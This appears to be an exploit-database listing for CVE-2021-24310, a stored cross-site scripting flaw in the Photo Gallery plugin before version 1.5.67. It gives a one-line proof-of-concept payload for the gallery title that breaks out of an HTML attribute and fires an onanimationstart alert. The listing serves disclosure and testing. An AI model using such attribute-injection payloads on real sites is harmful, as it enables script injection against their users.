Exploit for Photo Gallery < 1.5.67 - Authenticated Stored Cross-Site Scripting via Gallery Title CVE-2021-24310

Name: Exploit for Photo Gallery < 1.5.67 - Authenticated Stored Cross-Site Scripting via Gallery Title CVE-2021-24310
Rating: 5 (52 reviews)

2021-05-12 | CVSS 3.5

## https://sploitus.com/exploit?id=WPEX-ID:F34096EC-B1B0-471D-88A4-4699178A3165
Create or edit a gallery and use the below payload as the gallery title " style="animation-name:rotation" onanimationstart="alert(/XSS/)